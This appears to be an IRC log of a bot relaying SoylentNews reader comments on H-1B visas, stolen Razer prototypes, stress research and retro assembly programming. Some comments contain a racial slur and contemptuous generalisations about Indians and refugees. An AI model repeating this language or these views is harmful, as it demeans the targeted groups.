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[00:09:10] <exec> *** new comment: 03Anonymous Coward (Score:0) 02cheating - 06Razer Prototypes Stolen at CES - 33 chars -04 http://soylentnews.org
[00:09:10] <exec> 08└─cheating doesn't sit well with us
[00:09:11] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:cheating - 06Razer Prototypes Stolen at CES - 23 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[00:09:11] <exec> 08└─Wow. You've got issues.
[00:09:12] <exec> *** new comment: 03Anonymous Coward (Score:0) 02PR Stunt? - 06Razer Prototypes Stolen at CES - 37 chars -04 http://soylentnews.org
[00:09:13] <exec> 08└─What are the odds this is a PR stunt?
[00:09:39] <exec> *** new comment: 03NewNic [6420] (Score:1) 02Re:Hmmm - 06Long-Term Stress Erodes Memory - 38 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[00:09:40] <exec> 08└─Or perhaps you are just getting older?
[00:11:15] <exec> *** new comment: 03Bot [3902] (Score:2) 02Given the stellar legislative prowess of EU and DE - 06German Green Party MP Considers Subsidized Sex for the Disabled - 325 chars -04 http://soylentnews.org
[00:11:15] <exec> 08└─step one, this law gets passed. step two, refugees get the disabled status, because they are miles away from their women, whom they left in syria (somebody had to mind the house) step three, refugees require a slight modification of the terms because those 18+ females are too old. Remember, you hear...
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[01:09:05] <exec> *** new comment: 03NewNic [6420] (Score:1) 02So conflicted right now .... - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 126 chars -04 http://soylentnews.org
[01:09:05] <exec> 08└─US citizen here, but came into the US on H1-B visas (twice: I returned to my home country in between. ) H1-B good or bad? Hmm.
[01:09:07] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:So conflicted right now .... - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 195 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[01:09:07] <exec> 08└─Since you're a citizen, you should already know the answer. If you voted for Trump, then you believe H-1B is bad. If you didn't bother to vote, kindly go back to your home country and stay there.
[01:09:08] <exec> *** new comment: 03Anonymous Coward (Score:0) 02"brain-drain from other countries" - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 250 chars -04 http://soylentnews.org
[01:09:09] <exec> 08└─So you want to import unemployed Europeans instead of Indians? Why do you hate America? Bring in the best of them rather than the cheapest of them and let them compete on equal footing rather than the indentured servitude of the current H1B program.
[01:09:10] <exec> *** new comment: 03takyon [881] (Score:2) 02Re:"brain-drain from other countries" - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 44 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[01:09:11] <exec> 08└─Changed "H1B" to "H-1B" (racism eliminated).
[01:09:13] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:"brain-drain from other countries" - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 84 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[01:09:13] <exec> 08└─I'm the submitter. I am Gujarati. So I must be one of those self-hating indians, eh?
[01:09:15] <exec> *** new comment: 03Anonymous Coward (Score:0, Troll) 02Re:"brain-drain from other countries" - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 132 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[01:09:16] <exec> 08└─Well since you don't want competition from those cheap indians, then yes. Just like we have a saying, black people hate niggers too.
[01:09:17] <exec> *** new comment: 03Thexalon [636] (Score:2) 02Nothing new about any of this - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 161 chars -04 http://soylentnews.org
[01:09:18] <exec> 08└─Bring in the best of them rather than the cheapest of them and let them compete on equal footing rather than the indentured servitude of the current H1B program.
[01:09:19] <exec> *** new comment: 03Snotnose [1623] (Score:2) 02I've worked with a lot of H1-B's - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 885 chars -04 http://soylentnews.org
[01:09:20] <exec> 08└─Pretty much all of them are good people just trying to build a good life. Kinda like me. Seems to me the problems are: 1) They get hired for a fraction of american engineers doing the same job 2) They are tied to their job, essentially slave labor. I don't like my boss/hours/job? I quit. They don't...
[01:09:28] <exec> *** new comment: 03bob_super [1357] (Score:2) 02Re:wasn't me... - 06Razer Prototypes Stolen at CES - 237 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[01:09:29] <exec> 08└─They're on a USB stick in the gym bag of the devs who haven't gone to the gym since this was issued to them. Your best chance is to drop from the ceiling to steal it during their chiropractor session, or their unexpectedly-legit massage.
[01:09:33] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:PR Stunt? - 06Razer Prototypes Stolen at CES - 113 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[01:09:34] <exec> 08└─Hopefully they forgot to tell the police this is a PR stunt and Mr CEO will land in pound-him-in-the-anus prison.
[01:09:35] <exec> *** new comment: 03Appalbarry [66] (Score:2) 02Trade shows - 06Razer Prototypes Stolen at CES - 354 chars -04 http://soylentnews.org
[01:09:36] <exec> 08└─Ah yes, trade shows. Tear downs tend to be chaos, and by the time that they happen all of the responsible adults have left the room, left town, or are in the bar. Still, nothing is quite so frightening as a dozen forklift driving, amphetamine fueled teamsters at the end of a fifteen hour overtime sh...
[01:09:47] <exec> 08*** score 5 comment: 03ikanreed [3164] 02Re:Ah the mouse model - 06Long-Term Stress Erodes Memory - 687 chars - 04 http://soylentnews.org (parent: http://soylentnews.org)
[01:09:47] <exec> 08└─And here we have the post-modernist "modernist". By assuming nefarious intent by an entire field of study that applies to scientific method, they can safely distance themselves from any sort of structured, objective evidence. When you have an objection to a methodology used, object to that methodolo...
[01:10:11] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Still can use "cash" - 06Oakland May Become Rare American City With Strict Rules for Spy Gear Use - 227 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[01:10:11] <exec> 08└─Buy prepaid credit card with cash, (NOT a GreenDot-type that requires online registration, SSN entry, etc.), fill in the details using a wifi hotspot and Tails or something, then use said card for your anonymous shopping needs.
[01:10:48] <exec> *** new comment: 03edIII [791] (Score:2) 02Re:You can't import an entire community. - 06Beijing Creates Environmental Police Force to Tackle Smog Problem - 4056 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[01:10:49] <exec> 08└─This has nothing to do with the last election per se, but does have quite a bit to do with the results and what they portend for our dark future. For that matter, I think I have a shot at political refugee when the Angry Orange Anus running/ruining everything is bringing Rudy's (burn in hell fucker)...
[01:11:40] <exec> *** new comment: 03Anne Nonymous [712] (Score:2) 02No - 06German Green Party MP Considers Subsidized Sex for the Disabled - 94 chars -04 http://soylentnews.org
[01:11:40] <exec> 08└─Having smelled a few members of the Green Party, allow me to be the first to say "Nein danke".
[01:14:05] <exec> *** new comment: 03Bot [3902] (Score:2) 02Come on people - 06FBI Arrests Volkswagen Executive for Role in Emissions Conspiracy - 613 chars -04 http://soylentnews.org
[01:14:05] <exec> 08└─Conspiracies do not exist. Especially for this!!! You know how many people VW employs? THOUSANDS! How can all of them be silent? A scientific study using the finest mathematical model ruled that impossible. It is obvious a guy left an easter egg in the code, likely to impress his SO with the car he...
[01:14:25] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Black holes are not monsters - 06"Nearby" Supermassive Black Holes Discovered - 99 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[01:14:25] <exec> 08└─What is the theoretical limit on the radius of a "normal" star? Can only black holes be this large?
[01:14:41] <exec> *** new comment: 03Runaway1956 [2926] (Score:2) 02Re:not very much difference - 06How the University of California Exploited a Visa Loophole to Move Tech Jobs to India - 1215 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[01:14:41] <exec> 08└─Berkeley to Marines: You're 'not welcome in our city' - does that sound like they are protesting some specific war or action? Not really - they want the Marines out of their city. http://www.cnn.com [cnn.com] https://en.wikipedia.org
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[02:09:27] <exec> *** new comment: 03Runaway1956 [2926] (Score:2) 02Re:Nothing new about any of this - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 290 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[02:09:28] <exec> 08└─+5000 insightful We, the common people, are brainwashed to believe that immigration is good for this reason or that. But, the decision makers across the country lobby for things like H-1B for one reason only. Immigration and work programs drive wages down. Always, it's all about the money.
[02:09:30] <exec> *** new comment: 03Thexalon [636] (Score:2) 02Re:I've worked with a lot of H1-B's - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 73 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[02:09:30] <exec> 08└─1) They get hired for a fraction of american engineers doing the same job
[02:09:32] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Trump called it - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 317 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[02:09:33] <exec> 08└─experience should get a notice of rejection Honestly, this is just common courtesy. Instead many just leave you hanging. The only way you find out is if you notice the job was closed out. They then also go out of their way to make themselves very unavailable. No one to call no one to email. Just a r...
[02:09:34] <exec> *** new comment: 03Appalbarry [66] (Score:2) 02Let's Go All In - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 475 chars -04 http://soylentnews.org
[02:09:35] <exec> 08└─I'd say let's go full-on Libertarian anti-regulation and just let anyone, from anywhere, move into the country and do whatever job they can find. Or, alternately, go full-on protectionist and make the available options a) hire local or b) hire an immigrant once they've emigrated, have legal permanen...
[02:09:37] <exec> *** new comment: 03Runaway1956 [2926] (Score:2) 02Reciprocal programs? - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 169 chars -04 http://soylentnews.org
[02:09:38] <exec> 08└─Which countries are actively recruiting Americans to come work for them? If India has no reciprocity, then Indians shouldn't be eligible for any program similar to H-1B.
[02:09:48] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:cheating - 06Razer Prototypes Stolen at CES - 31 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[02:09:49] <exec> 08└─Or posting to the wrong thread.
[02:09:53] <exec> *** new comment: 03goodie [1877] (Score:2) 02Re:Trade shows - 06Razer Prototypes Stolen at CES - 456 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[02:09:53] <exec> 08└─Had somewhat of a similar experience back when I did a summer job in a web development shop in the late 1990s. There was a tv show that came to broadcast from our offices. Everything went really well but after the show, the crew that came to take away all the tv gear also stole a few pieces of compu...
[02:10:21] <exec> *** new comment: 03JoeMerchant [3937] (Score:2) 02Re:Hmmm - 06Long-Term Stress Erodes Memory - 266 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[02:10:21] <exec> 08└─ECT definitely plays hell with memory. Mice lack lots of higher brain function areas found in homo sapiens and apes/chimpanzees - but, basic memory is supposed to be similar. Last time I tried to ask a mouse about it I had a hard time confirming or denying anything.
[02:10:23] <exec> *** new comment: 03Gaaark [41] (Score:2) 02Re:Hmmm - 06Long-Term Stress Erodes Memory - 737 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[02:10:23] <exec> 08└─About 12 years ago, my son who is autistic went through a bout of little sleep for around 3 months. He would go to bed and get about 3-4 hours sleep every night. My wife and I got to the point where we didn't have a life and were stressed and sleep deprived 'to the max' (because he was a possible ru...
[02:11:10] <exec> *** new comment: 03FatPhil [863] (Score:2) 02Re:You can't import an entire community. - 06Beijing Creates Environmental Police Force to Tackle Smog Problem - 186 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[02:11:11] <exec> 08└─Dude, if you come over to Eastern Europe, can you bring my g/f's "America - Love it or Leave it" t-shirt with you, she left it at her parents place when she came to Europe 20+ years ago.
[02:12:59] <exec> *** new comment: 03AthanasiusKircher [5291] (Score:2) 02Blame the AirPods - 06"Finder for Airpods" Not Allowed in Apple's Walled Garden - 140 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[02:12:59] <exec> 08└─By purchasing brand-new AirPods any time you lose yours, you'll always have nice, new, clean ones, so this is a much better solution anyway.
[02:16:24] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:So, in other words . . . - 06Quantum Computing, Coming Soon for Real? - 25 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[02:16:24] <exec> 08└─Still about 20 years off.
[02:18:19] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Three main reasons - 06Why Are Americans So Obsessed With Guns? - 65 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[02:18:19] <exec> 08└─those planes, tanks, etc are not autonomous yet. so, yes, easily.
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[03:09:24] <exec> 08*** score 5 comment: 03Thexalon [636] 02Nothing new about any of this - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 161 chars - 04 http://soylentnews.org
[03:09:25] <exec> 08└─Bring in the best of them rather than the cheapest of them and let them compete on equal footing rather than the indentured servitude of the current H1B program.
[03:09:27] <exec> 08*** score 5 comment: 03Snotnose [1623] 02I've worked with a lot of H1-B's - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 885 chars - 04 http://soylentnews.org
[03:09:27] <exec> 08└─Pretty much all of them are good people just trying to build a good life. Kinda like me. Seems to me the problems are: 1) They get hired for a fraction of american engineers doing the same job 2) They are tied to their job, essentially slave labor. I don't like my boss/hours/job? I quit. They don't...
[03:09:29] <exec> *** new comment: 03Snotnose [1623] (Score:2) 02Re:I've worked with a lot of H1-B's - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 229 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[03:09:30] <exec> 08└─There has been some loosening of the rules to allow an H1B holder to change to another H1B job. This runs into a couple of practical limitations, though: 1. You have to get the new H1B job while you're still working your old one.
[03:09:31] <exec> *** new comment: 03Snotnose [1623] (Score:2) 02Re:I've worked with a lot of H1-B's - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 767 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[03:09:32] <exec> 08└─I don't know why, but I feel the need to add this. Think '95 or so. Had a female engineer from India who drove me nuts. Why? I'd give her something that would take 6 weeks to finish but she'd do it in 3. Consistently. And it was always right. This went on for about a year, I was always scrambling to...
[03:09:36] <exec> *** new comment: 03YeaWhatevs [5623] (Score:1) 02Don't be daft - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 351 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[03:09:37] <exec> 08└─It's not about ideological positions, what people want is maximized sustainable freedom. This means the positions are whatever maximizes it today, and subject to change of rules whenever we see fit. This is especially fluid on subjects like regulation and immigration where conditions not specific ru...
[03:09:40] <exec> *** new comment: 03Snotnose [1623] (Score:3, Informative) 02Re:Reciprocal programs? - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 263 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[03:09:40] <exec> 08└─How many Americans want to live in India, regardless of what they're paid? I see India as a backwater sewer, overpopulated, stupid religions and family issues, combined with shitty class issues. Not to mention the corruption. Why would I ever want to live there?
[03:09:42] <exec> *** new comment: 03Runaway1956 [2926] (Score:2) 02Re:Reciprocal programs? - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 730 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[03:09:42] <exec> 08└─Backwater seweer - check - Detroit overpopulated - check - Chicago, NYC, LA stupid religions - check - Mormons, Jehovah's Witnesses, etc family issues - check - we have a drug addict in our own family, and you? shitty class issues - check - we actually ran a presidential candidate who "deserved" to...
[03:09:44] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Reciprocal programs? - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 382 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[03:09:45] <exec> 08└─There isn't any reciprocity. The American Empire has the money, and the H1Bs want the money. The H1Bs lie to get in and do the absolute minimum work required to extract the maximum amount of money from the Empire. This situation is what happens when one empire becomes dominant. Massive wealth inequa...
[03:10:00] <exec> *** new comment: 03nethead [4970] (Score:2) 02Re:Trade shows - 06Razer Prototypes Stolen at CES - 270 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[03:10:00] <exec> 08└─Oh, I see that you have worked as an industrial decorator too! Back in the very early 80s when working shows the phone installers would let me grab all the wire I wanted and a few phone sets too. One even gave me a Bell 212A DataSet because the data guys didn't show up.
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[04:09:16] <exec> *** new comment: 03Anonymous Coward (Score:1, Informative) 02objdump -d - 06Q8 - Experiment With Low Level Machine Code Programming in Your Browser - 155 chars -04 http://soylentnews.org
[04:09:17] <exec> 08└─Have you ever wondered what really goes on when your computer takes a higher-level language, like Javascript or C, and turns it into something it can read?
[04:09:33] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:So conflicted right now .... - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 114 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[04:09:33] <exec> 08└─By that logic more than 50% of citizens will need to go back their 'home' country because none of them are native.
[04:09:38] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:"brain-drain from other countries" - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 241 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[04:09:38] <exec> 08└─You are just jealous cuz hyderabdi biryani is better known than gujarati vegetarian thali. Anyways, if you are a vegetarian, and even more so if you are not, you owe yourself to visit Gujarat's finer restaurants and dine like the Lord Krsna.
[04:09:40] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Gujarati - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 87 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[04:09:40] <exec> 08└─Maybe not self-hating, but you are a Gujarati - not the most popular folks in India. :)
[04:09:42] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:"brain-drain from other countries" - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 107 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[04:09:43] <exec> 08└─Called it hours ago. https://soylentnews.org [soylentnews.org]
[04:09:49] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:I've worked with a lot of H1-B's - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 78 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[04:09:50] <exec> 08└─been laid off a couple times, and it typically takes 3-6 months to find a job.
[04:09:51] <exec> *** new comment: 03Runaway1956 [2926] (Score:2) 02Re:I've worked with a lot of H1-B's - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 1608 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[04:09:52] <exec> 08└─"Don't you mean it takes 3-6 years to find a job?" I don't think so. It would take a little work to convince me of any such thing. There are a lot of different factors to consider, when determining how long it takes to find a new job. Among other things, the "job seeker" might be gaming the system....
[04:09:53] <exec> *** new comment: 03Whoever [4524] (Score:2) 02Re:I've worked with a lot of H1-B's - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 75 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[04:09:54] <exec> 08└─1. You have to get the new H1B job while you're still working your old one.
[04:09:55] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:I've worked with a lot of H1-B's - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 360 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[04:09:56] <exec> 08└─I dunno if they made that change or not. But, even if they did, 30-days is only going to be useful to the kind of person who could have lined up a new job before quitting anyway. Anybody quitting because they finally reached the end of their rope is probably just as screwed with 30-days to scramble...
[04:09:59] <exec> *** new comment: 03Anonymous Coward (Score:-1, Flamebait) 02Re:I've worked with a lot of H1-B's - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 238 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[04:09:59] <exec> 08└─One morning she came into my office. She'd had a car accident last night. She didn't have a license. Nor insurance. It was her roomate's car. She didn't tell her roomate she was borrowing the car. I sent her to HR and never saw her again.
[04:10:09] <exec> *** new comment: 03Runaway1956 [2926] (Score:2) 02Re:Reciprocal programs? - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 925 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[04:10:10] <exec> 08└─You characterize the H-1B workers a little differently than I would, but you do understand what H-1B is all about. Those workers hope to exploit the empire, the empire is definitely exploiting the workers, and their home countries manage to harvest several benefits from the program. If you read TFA,...
[04:10:11] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Where fuck is???? - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 323 chars -04 http://soylentnews.org
[04:10:12] <exec> 08└─Where the fuck is Hyderbadis going "bring it on?" Anyway, Hyderabadi biryani is the bomb. Absolutely the best dish, ever, no ifs, ands, buts. Sheeit. I want me some andhra pickle now. And, yeah, don't hate the folks busting ball to try to make it. Hate the slimeball CxO suits that sell out their ow...
[04:12:09] <exec> *** new comment: 03Sulla [5173] (Score:2) 02Re:Exciting - 06German Green Party MP Considers Subsidized Sex for the Disabled - 1673 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[04:12:10] <exec> 08└─In general I feel that federal taxes should be reserved to military (needs downsizing), temporary safety nets (really depends), and paying for good negotiators to keep us out of wars. I am probably missing a few things. At the state level there are a few more things, statewide roads and transportati...
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[05:09:15] <exec> *** new comment: 03Snotnose [1623] (Score:2) 02I started with z-80 assembly - 06Q8 - Experiment With Low Level Machine Code Programming in Your Browser - 132 chars -04 http://soylentnews.org
[05:09:15] <exec> 08└─Downgraded to 8080 for work, then got 8086 and went bit slice (google amd 2900). I have a pretty good idea of how a computer thinks.
[05:09:16] <exec> *** new comment: 03Anonymous Coward (Score:0) 02I started with 6502 assembly - 06Q8 - Experiment With Low Level Machine Code Programming in Your Browser - 141 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[05:09:16] <exec> 08└─Little endian 8-bit, such horror. Peeking-and-poking was the only way to play music at the time, since Applesoft Basic did not support sound.
[05:09:17] <exec> *** new comment: 03jmorris [4844] (Score:2) 02Ignore this - 06Q8 - Experiment With Low Level Machine Code Programming in Your Browser - 1424 chars -04 http://soylentnews.org
[05:09:18] <exec> 08└─Sorry, no stack? Or at least nothing resembling a traditional one. Good way to learn a lot of bad habits. The overall idea is good, the implementation just a wee bit too spartan to teach useful concepts on. 256 bytes of program and data is hard enough. The pair of general registers is OK, that is al...
[05:09:20] <exec> *** new comment: 03archfeld [4650] (Score:2) 02Learned a long time ago in galaxy far away - 06Q8 - Experiment With Low Level Machine Code Programming in Your Browser - 493 chars -04 http://soylentnews.org
[05:09:20] <exec> 08└─I started on a heath kit build your own and learned soldering nand/and/nor/xor gates to large circuit boards to make Christmas tree lights blink on and off. I learned to read Hex dumps on an IBM MVS/VM mainframe, gotta love B37 space dumps and JES/JCL subsystem barfs before desktop PC's and so-calle...
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[05:09:53] <exec> 08└─Hadn't heard this, but 30 days is about how long it takes me to get off my ass, update my resume, shoot a couple dozen out, and wait for a reply. There has been one time in my life when I got a job within 30 days of being laid off. I interviewed for a job, was pretty sure I got the job, rumor was co...
[05:10:03] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Reciprocal programs? - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 370 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[05:10:03] <exec> 08└─If you haven't been to India, please don't comment. People literally shit in the street and open sewers run like a creek in the road. Oh, there are nice areas too, but they are surrounded by the most unimaginable poverty in the entire world. India actually has lepers in this day and age. Sorry if th...
[05:10:24] <exec> *** new comment: 03bzipitidoo [4388] (Score:2) 02with better IP law, wouldn't be a big deal - 06Razer Prototypes Stolen at CES - 580 chars -04 http://soylentnews.org
[05:10:24] <exec> 08└─Having hardware stolen is and always will be a problem. But this talk of industrial espionage? If Intellectual Property law was sane, as in, didn't exist in its current form, that part wouldn't matter at all. Let the world copy with a will. Encourage it, in fact. What we should have is a system that...
[05:10:25] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:with better IP law, wouldn't be a big deal - 06Razer Prototypes Stolen at CES - 654 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[05:10:25] <exec> 08└─And how do they recoup the cost of development if everybody can just steal their work? I have serious issues with the way that IP is handled, but hardware patents are absolutely necessary to ensure that the companies developing the products have some hope of recouping their costs. Without that, why...
[05:12:11] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Exciting - 06German Green Party MP Considers Subsidized Sex for the Disabled - 88 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[05:12:11] <exec> 08└─From a bumper sticker: "I will believe corporations are people when Texas executes one."
[05:12:27] <exec> *** new comment: 03art guerrilla [3082] (Score:2) 02Re:Don't forget - 06German Green Party MP Considers Subsidized Sex for the Disabled - 48 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[05:12:27] <exec> 08└─they are throwing the oven in the disabled ? ? ?
[05:13:43] <exec> *** new comment: 03requerdanos [5997] (Score:2) 02Re:Nope... - 06A Potentially Fatal Blow Against Patent Trolls - 149 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[05:13:43] <exec> 08└─Unless it just makes patents more expensive, and therefore less available to the little guy who needs protection (e.g. intermittent windscreen wiper)
[05:14:36] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Tee Hee. - 06FBI Arrests Volkswagen Executive for Role in Emissions Conspiracy - 124 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[05:14:37] <exec> 08└─50mpg, while spewing out cancer from the exhaust pipe. I don't like being behind a TDI and smelling the diesel stinky fumes.
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[06:09:07] <exec> 08└─Whenever I come up with a brillant idea and then retract half of it, I find nobody noticed the original idea in the first place, and nobody believes the revised idea either.
[06:09:17] <exec> *** new comment: 03stormwyrm [717] (Score:3, Insightful) 02Re:I started with z-80 assembly - 06Q8 - Experiment With Low Level Machine Code Programming in Your Browser - 1125 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[06:09:18] <exec> 08└─Modern computers though are far more complicated beasts than the C-64 I first got started with. Back in those days it was absolutely essential to know assembly language, and this was still true with the 16-bit IBM PC. On modern hardware though, given how much more complex and varied they are these d...
[06:09:37] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:So conflicted right now .... - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 104 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[06:09:37] <exec> 08└─Citizenship grants voting rights, and naturalized citizens should vote, not neglect their right to vote.
[06:09:47] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:Nothing new about any of this - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 514 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[06:09:47] <exec> 08└─People often forget that there are other types of visas for stealing the best and brightest. Want to bring someone in as an executive or management? L-1 or EB-1. Want someone really high in your company, run an entertainment or sports venue? O-1 or EB-1. Religious worker? R. From a NAFTA country? TN...
[06:10:10] <exec> *** new comment: 03xpda [5991] (Score:2) 02Excellent Idea - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 320 chars -04 http://soylentnews.org
[06:10:10] <exec> 08└─Why on earth would the USA want to import highly educated workers, anyway? Immigrants just spend most of their money in the U.S., really cluttering up our economy with unnecessary growth. Instead, we should pay them to work in India or China. Sending the money to India and China will keep our own ec...
[06:10:29] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:with better IP law, wouldn't be a big deal - 06Razer Prototypes Stolen at CES - 322 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[06:10:29] <exec> 08└─I was going to say look out for cheap Chinese clones next available from next month, but the CEO is Chinese already. Clones are on their way anyway, "Rezar CT400 lapper-top".. My guess is a tradie worker "scored" some "nice laptops" for his bros while working there after the show. Now they'll be ter...
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[07:09:14] <exec> *** new comment: 03looorg [578] (Score:2) 02Altwhatnow? - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 202 chars -04 http://soylentnews.org
[07:09:14] <exec> 08└─How will that be pronounced? Is it 'Alt-aba' or 'Al-taba' or 'Altaba'. It's not that I was attached to the name Yahoo! or anything but this just seems way more obscure - which might be how they like it.
[07:09:15] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Marissa Mayer is still hot - 06Marissa Mayer To Resign From Yahoo Board as Remaining Company Renames Itself Altaba - 33 chars -04 http://soylentnews.org
[07:09:15] <exec> 08└─Yahooooohooooohooooooooooo! Yeah!
[07:09:23] <exec> *** new comment: 03charon [5660] (Score:1) 02Re:must be nice to have attention - 06Graph Isomorphism Strikes Back - 43 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[07:09:24] <exec> 08└─Just become a brilliant mathematician then.
[07:09:35] <exec> *** new comment: 03maxwell demon [1608] (Score:2) 02Re:Ignore this - 06Q8 - Experiment With Low Level Machine Code Programming in Your Browser - 15 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
[07:09:36] <exec> 08└─No signed math?
[07:09:54] <exec> *** new comment: 03Anonymous Coward (Score:0) 02Re:So conflicted right now .... - 06Trump and Sessions Plan to Restrict H-1B Workers. Hyderabad Says to Bring It On. - 83 chars -04 http://soylentnews.org (parent: http://soylentnews.org)
